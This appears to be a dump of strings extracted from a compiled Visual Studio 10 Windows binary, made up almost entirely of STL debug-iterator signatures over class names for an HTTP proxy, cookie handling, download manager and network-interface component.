std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *,class NoCaseStringCmp,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *,class NoCaseStringCmp,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,class CAcceleratorEventsData *,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,class CAcceleratorEventsData *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,class CAcceleratorEventsData *,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,class CAcceleratorEventsData *> >,0> > >::operator ==
std::_List_const_iterator<class std::_List_val<class CAcceleratorEventsData *,class std::allocator<class CAcceleratorEventsData *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class CAcceleratorEventsData *,class std::allocator<class CAcceleratorEventsData *> > >::operator   
]std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,class CAcceleratorEventsData *,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,class CAcceleratorEventsData *> >,0> > >::operator   
std::_List_const_iterator<class std::_List_val<class CAcceleratorEventsData *,class std::allocator<class CAcceleratorEventsData *> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,class CAcceleratorEventsData *,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,class CAcceleratorEventsData *> >,0> > >::operator --
std::vector<struct hostent *,class std::allocator<struct hostent *> >::operator []
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<void *,struct std::less<void *>,class std::allocator<void *>,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,long,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,long> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,long,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,long> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<void *,struct std::less<void *>,class std::allocator<void *>,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,long,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,long> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,long,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,long> >,0> > >::operator --
std::_List_const_iterator<class std::_List_val<struct _OVERLAPPED_IO *,class std::allocator<struct _OVERLAPPED_IO *> > >::operator   
std::_List_const_iterator<class std::_List_val<struct _OVERLAPPED_IO *,class std::allocator<struct _OVERLAPPED_IO *> > >::operator ==
std::_List_const_iterator<class std::_List_val<struct _OVERLAPPED_IO *,class std::allocator<struct _OVERLAPPED_IO *> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class CProductRegisterInfo *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class CProductRegisterInfo *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class CProductRegisterInfo *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class CProductRegisterInfo *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class CProductRegisterInfo *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class CProductRegisterInfo *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class CProductRegisterInfo *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class CProductRegisterInfo *> >,0> > >::operator   
std::_List_const_iterator<class std::_List_val<struct PostData,class std::allocator<struct PostData> > >::operator   
std::_List_const_iterator<class std::_List_val<struct PostData,class std::allocator<struct PostData> > >::operator ==
std::_List_const_iterator<class std::_List_val<struct PostData,class std::allocator<struct PostData> > >::operator *
std::_List_const_iterator<class std::_List_val<struct std::pair<char *,unsigned int>,class std::allocator<struct std::pair<char *,unsigned int> > > >::operator   
std::_List_const_iterator<class std::_List_val<struct std::pair<char *,unsigned int>,class std::allocator<struct std::pair<char *,unsigned int> > > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,unsigned int,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,unsigned int> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator ==
std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator  =
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,unsigned int,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,unsigned int> >,1> > >::operator ==
std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator --
std::_Vector_const_iterator<class std::_Vector_val<class std::tr1::sub_match<char const *>,class std::allocator<class std::tr1::sub_match<char const *> > > >::operator  =
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\regex
std::_Vector_const_iterator<class std::_Vector_val<char,class std::allocator<char> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,unsigned int,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,unsigned int> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,unsigned int,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,unsigned int> >,1> > >::operator   
std::vector<class std::tr1::sub_match<char const *>,class std::allocator<class std::tr1::sub_match<char const *> > >::operator []
std::_List_const_iterator<class std::_List_val<class RedirectDomainRule *,class std::allocator<class RedirectDomainRule *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class RedirectDomainRule *,class std::allocator<class RedirectDomainRule *> > >::operator   
std::_List_const_iterator<class std::_List_val<class RedirectDomainRule *,class std::allocator<class RedirectDomainRule *> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IProxyWorker *,class IHttpFileDownloadMgr *,struct std::less<class IProxyWorker *>,class std::allocator<struct std::pair<class IProxyWorker * const,class IHttpFileDownloadMgr *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class RequestInfo,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class RequestInfo> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IProxyWorker *,class IHttpFileDownloadMgr *,struct std::less<class IProxyWorker *>,class std::allocator<struct std::pair<class IProxyWorker * const,class IHttpFileDownloadMgr *> >,0> > >::operator *
std::_List_const_iterator<class std::_List_val<class IHttpProxyWorker *,class std::allocator<class IHttpProxyWorker *> > >::operator   
std::_List_const_iterator<class std::_List_val<class IHttpProxyWorker *,class std::allocator<class IHttpProxyWorker *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class IFileDownloadMgr *,class std::allocator<class IFileDownloadMgr *> > >::operator   
std::_List_const_iterator<class std::_List_val<class IFileDownloadMgr *,class std::allocator<class IFileDownloadMgr *> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class RequestInfo,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class RequestInfo> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IProxyWorker *,class IHttpFileDownloadMgr *,struct std::less<class IProxyWorker *>,class std::allocator<struct std::pair<class IProxyWorker * const,class IHttpFileDownloadMgr *> >,0> > >::operator   
std::_List_const_iterator<class std::_List_val<class IHttpProxyWorker *,class std::allocator<class IHttpProxyWorker *> > >::operator *
std::_List_const_iterator<class std::_List_val<class IFileDownloadMgr *,class std::allocator<class IFileDownloadMgr *> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class RequestInfo,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class RequestInfo> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IProxyWorker *,class IHttpFileDownloadMgr *,struct std::less<class IProxyWorker *>,class std::allocator<struct std::pair<class IProxyWorker * const,class IHttpFileDownloadMgr *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class RequestInfo,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class RequestInfo> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,1> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,1> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,1> > >::operator   
std::vector<class CachedBuffer,class std::allocator<class CachedBuffer> >::operator []
std::_List_const_iterator<class std::_List_val<class HttpProxyRemote *,class std::allocator<class HttpProxyRemote *> > >::operator   
std::_List_const_iterator<class std::_List_val<class HttpProxyRemote *,class std::allocator<class HttpProxyRemote *> > >::operator ==
std::_List_const_iterator<class std::_List_val<enum FileDownloadMgr::WORKING_THREAD_COMMAND,class std::allocator<enum FileDownloadMgr::WORKING_THREAD_COMMAND> > >::operator   
std::_List_const_iterator<class std::_List_val<enum FileDownloadMgr::WORKING_THREAD_COMMAND,class std::allocator<enum FileDownloadMgr::WORKING_THREAD_COMMAND> > >::operator ==
std::_Deque_const_iterator<class RequestInfo *,class std::allocator<class RequestInfo *> >::operator *
std::_List_const_iterator<class std::_List_val<class HttpProxyRemote *,class std::allocator<class HttpProxyRemote *> > >::operator *
std::_List_const_iterator<class std::_List_val<enum FileDownloadMgr::WORKING_THREAD_COMMAND,class std::allocator<enum FileDownloadMgr::WORKING_THREAD_COMMAND> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator ==
std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator   
std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator   
std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator ==
std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator   
std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator   
std::_Deque_const_iterator<enum LightXML::ParseState,class std::allocator<enum LightXML::ParseState> >::operator *
std::_Deque_const_iterator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::operator *
std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator   
std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator ==
std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator *
std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator   
std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator --
std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator   
std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator --
std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator *
std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator   
std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator --
std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator *
std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator   
std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator ==
